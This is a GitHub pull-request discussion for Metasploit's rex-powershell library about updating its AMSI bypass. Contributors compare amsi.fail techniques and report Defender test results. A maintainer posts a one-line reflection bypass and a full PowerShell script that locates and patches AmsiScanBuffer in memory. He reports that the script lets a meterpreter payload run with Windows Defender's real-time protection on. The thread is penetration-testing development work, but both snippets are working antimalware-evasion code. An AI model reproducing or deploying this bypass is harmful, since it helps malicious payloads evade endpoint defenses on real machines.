rapid7 / rex-powershell

Rex library for dealing with Powershell Scripts
Other
53 stars 35 forks source link

change Powershell code to bypass AMSI #28

Closed GetRektBoy724 closed 3 years ago

GetRektBoy724 commented 3 years ago

implement amsi.fail API to bypass AMSI on powershell

So IIRC AMSI bypass command that used on web_delivery module is outdated and easily get caught by the AMSI itself,my idea is to implement the amsi.fail API to generate different obfuscated AMSI bypass command every time the stager is executed,cause that i propose this PR. This is my first PR that i post so forgive me if i make something wrong

GetRektBoy724 commented 3 years ago

hmmm i never think of that,but yeah you're right

GetRektBoy724 commented 3 years ago

maybe you guys can port amsi.fail code to Ruby

GetRektBoy724 commented 3 years ago

this is the code for the function of the API they're using https://github.com/Flangvik/AMSI.fail/blob/master/AMSIFail/Function.cs and we just need to port this https://github.com/Flangvik/AMSI.fail/blob/master/AMSIFail/Generator.cs sadly,i don't have any experience on Ruby

smcintyre-r7 commented 3 years ago

It looks like the core of the bypass is a random selection from one of the following 5 techniques. Currently, we're only using the one called MattGRefl which is method 1 and the default method.

@GetRektBoy724 if you could provide testing steps that conclusively demonstrate that a different technique is effective at allowing Metasploit to bypass AMSI then I would be happy to add it in. What I'm looking for are steps to show that something generated from Metasploit is blocked by AMSI and that applying the bypass while keeping everything else the same (the payload and execution method) is sufficient to have the payload run.

I'm not super familiar with AMSI, but taking our psexec payload as an example I can tell that enabling the AMSI bypass by setting Powershell::prepend_protections_bypass to true, is insufficient to permit it run while Windows Defender is active with real time protections. Maybe a different payload will work, I'm not entirely sure but that's what I'm looking for. I'm happy to add evasion techniques if we're confident that they work in the context of Metasploit.

smcintyre-r7 commented 3 years ago

I patched in MattGref02 as a quick test. PSexec works when Defender's real-time protection is disabled (demonstrating that the PSH code itself is correct), and fails when it's enabled. This leads me to think this technique alone is insufficient to provide evasion. I have yet to conclusively test the others.

    def self.bypass_amsi()
      %q{
        [Runtime.InteropServices.Marshal]::('WriteInt32')([Ref].Assembly.GetType('System.Management.Automation.Am'+'s'+'iUt'+'ils').GetField('am'+'s'+'iCon'+'text',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0xdead);
      }

I tried with the windows/shell_reverse_tcp payload which being a basic shell without a stager should have the highest probability of executing.

GetRektBoy724 commented 3 years ago

It looks like the core of the bypass is a random selection from one of the following 5 techniques. Currently, we're only using the one called MattGRefl which is method 1 and the default method.

@GetRektBoy724 if you could provide testing steps that conclusively demonstrate that a different technique is effective at allowing Metasploit to bypass AMSI then I would be happy to add it in. What I'm looking for are steps to show that something generated from Metasploit is blocked by AMSI and that applying the bypass while keeping everything else the same (the payload and execution method) is sufficient to have the payload run.

I'm not super familiar with AMSI, but taking our psexec payload as an example I can tell that enabling the AMSI bypass by setting Powershell::prepend_protections_bypass to true, is insufficient to permit it run while Windows Defender is active with real time protections. Maybe a different payload will work, I'm not entirely sure but that's what I'm looking for. I'm happy to add evasion techniques if we're confident that they work in the context of Metasploit.

ok so first,i already really sure that the web_delivery module for Metasploit is really helped by this cause i already test (multiple time) to run Metasploit payload (generated by MSFvenom) with AMSI bypass,and it really works (ofc with Windows Defender Real Time Protection is running).Im kinda not sure with psexec module cause i never try it.But im going to demonstrate it using msfvenom payload to show you that the AMSI bypass generated by amsi.fail is working (ASAP).And do you try the AMSI bypass command from the original one or from amsi.fail?

I patched in MattGref02 as a quick test. PSexec works when Defender's real-time protection is disabled (demonstrating that the PSH code itself is correct), and fails when it's enabled. This leads me to think this technique alone is insufficient to provide evasion. I have yet to conclusively test the others.

    def self.bypass_amsi()
      %q{
        [Runtime.InteropServices.Marshal]::('WriteInt32')([Ref].Assembly.GetType('System.Management.Automation.Am'+'s'+'iUt'+'ils').GetField('am'+'s'+'iCon'+'text',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0xdead);
      }

I tried with the windows/shell_reverse_tcp payload which being a basic shell without a stager should have the highest probability of executing.

and for this one,do you get the AMSI bypass command from the amsi.fail code or from the command that generated by the amsi.fail? cause i try multiple time using the command that generated by the amsi.fail and its working fine and bypassed windows defender

(sorry for my english,it really sucks for explanation like this)

GetRektBoy724 commented 3 years ago

And for the amsi.fail code itself,im planning to compile it as a dll and use reflective assembly to load on powershell,and after that we can generate the amsi bypass code locally and execute it directly

GetRektBoy724 commented 3 years ago

@smcintyre-r7 https://drive.google.com/file/d/19YqXyXLNfaIb0B6klgVQcK-_byKh6k-7/view?usp=sharing that's the demonstration of amsi.fail the video quality is a bit shit but yeah you get the idea,i test it on Windows 10 v20H2 with Real-Time Monitoring turned on

smcintyre-r7 commented 3 years ago

Thanks that provided me a little more context. I don't particularly care for how amsi.fail randomly selects a technique for two reasons 1) it would yield non-deterministic results and 2) it would complicate development. Because of that I started digging into the techniques it uses a bit more and the one that patches the amsi!AmsiScanBuffer seems to be the most promising. After digging into it some more, it seems to have been replaced by newer techniques.

Using the script referenced within that site, I was able to confirm that it was sufficient on a Windows 20H2 system with defender and real time protection enabled to run a 64-bit meterpreter. I used the output from the web_delivery module so thanks for that direction. I think next steps would be to try and integrate that protection into the payload delivery automatically. Assuming that works, we'd need to test it more thoroughly to ensure it doesn't break on older systems.

image

ASM1.ps1 ```powershell Write-Host "-- AMSI Patch" Write-Host "-- Modified By: Shantanu Khandelwal (@shantanukhande)" Write-Host "-- Original Author: Paul Laîné (@am0nsec)" Write-Host "" Class Hunter { static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) { while ($true) { [int]$count = 0 while ($true) { [IntPtr]$address = [IntPtr]::Add($address, 1) If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) { $count++ If ($count -eq $egg.Length) { return [IntPtr]::Subtract($address, $egg.Length - 1) } } Else { break } } } return $address } } function Get-ProcAddress { Param( [Parameter(Position = 0, Mandatory = $True)] [String] $Module, [Parameter(Position = 1, Mandatory = $True)] [String] $Procedure ) # Get a reference to System.dll in the GAC $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') # Get a reference to the GetModuleHandle and GetProcAddress methods $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])) # Get a handle to the module specified $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) # Return the address of the function return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) } function Get-DelegateType { Param ( [OutputType([Type])] [Parameter( Position = 0)] [Type[]] $Parameters = (New-Object Type[](0)), [Parameter( Position = 1 )] [Type] $ReturnType = [Void] ) $Domain = [AppDomain]::CurrentDomain $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) $MethodBuilder.SetImplementationFlags('Runtime, Managed') Write-Output $TypeBuilder.CreateType() } $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect $VistualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VistualProtectDelegate) If ([IntPtr]::Size -eq 8) { Write-Host "[+] 64-bits process" [byte[]]$egg = [byte[]] ( 0x4C, 0x8B, 0xDC, # mov r11,rsp 0x49, 0x89, 0x5B, 0x08, # mov qword ptr [r11+8],rbx 0x49, 0x89, 0x6B, 0x10, # mov qword ptr [r11+10h],rbp 0x49, 0x89, 0x73, 0x18, # mov qword ptr [r11+18h],rsi 0x57, # push rdi 0x41, 0x56, # push r14 0x41, 0x57, # push r15 0x48, 0x83, 0xEC, 0x70 # sub rsp,70h ) } Else { Write-Host "[+] 32-bits process" [byte[]]$egg = [byte[]] ( 0x8B, 0xFF, # mov edi,edi 0x55, # push ebp 0x8B, 0xEC, # mov ebp,esp 0x83, 0xEC, 0x18, # sub esp,18h 0x53, # push ebx 0x56 # push esi ) } $hModule = $LoadLibrary.Invoke("amsi.dll") Write-Host "[+] AMSI DLL Handle: $hModule" $DllGetClassObjectAddress = $GetProcAddress.Invoke($hModule, "DllGetClassObject") Write-Host "[+] DllGetClassObject address: $DllGetClassObjectAddress" [IntPtr]$targetedAddress = [Hunter]::FindAddress($DllGetClassObjectAddress, $egg) Write-Host "[+] Targeted address: $targetedAddress" $oldProtectionBuffer = 0 $VirtualProtect.Invoke($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null $patch = [byte[]] ( 0x31, 0xC0, # xor rax, rax 0xC3 # ret ) [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3) $a = 0 $VirtualProtect.Invoke($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null ```
smcintyre-r7 commented 3 years ago

Alright, I submitted a PoC in #29. There's still some things to do though. If you want to help out that'd be great. I need to test the technique on older versions of Powershell / Windows, update the code to obfuscate the variables and figure out of the old technique should still be kept around.

GetRektBoy724 commented 3 years ago

Alright, I submitted a PoC in #29. There's still some things to do though. If you want to help out that'd be great. I need to test the technique on older versions of Powershell / Windows, update the code to obfuscate the variables and figure out of the old technique should still be kept around.

hmmm I'm so sorry for this,I'm trying to help but for now, i don't have any old windows 10 version,do you know where to download that? the ISO maybe? and also there is only 3 more version of Windows 10 to test,right?

GetRektBoy724 commented 3 years ago

Because of that I started digging into the techniques it uses a bit more and the one that patches the amsi!AmsiScanBuffer seems to be the most promising. After digging into it some more, it seems to have been replaced by newer techniques.

From my experience using multiple different AMSI bypasses,all of them works well just the same.The only one that makes AMSI bypass different is get caught by AMSI itself or not.My own favorite technique for AMSI bypass is the one created by Matt Graeber cause its the shortest one.For me,there is no "the most promising" or "the most effective" for AMSI bypasses,its just works or not,as simple as that. (this is just my opinion,dont get offensed)

GetRektBoy724 commented 3 years ago

I don't particularly care for how amsi.fail randomly selects a technique for two reasons 1) it would yield non-deterministic results

Yeah you're right,but all of them works just fine tho ;)

GetRektBoy724 commented 2 years ago

https://amsi-fail.azurewebsites.net/api/Generate down, any alternative ?

Flangvik decided to make a JS version of amsi.fail. but he still make a API for that too https://amsifail.flangvik.workers.dev/api/Generate

GetRektBoy724 commented 2 years ago

oh wait a sec,lol the new API is down as well :rofl: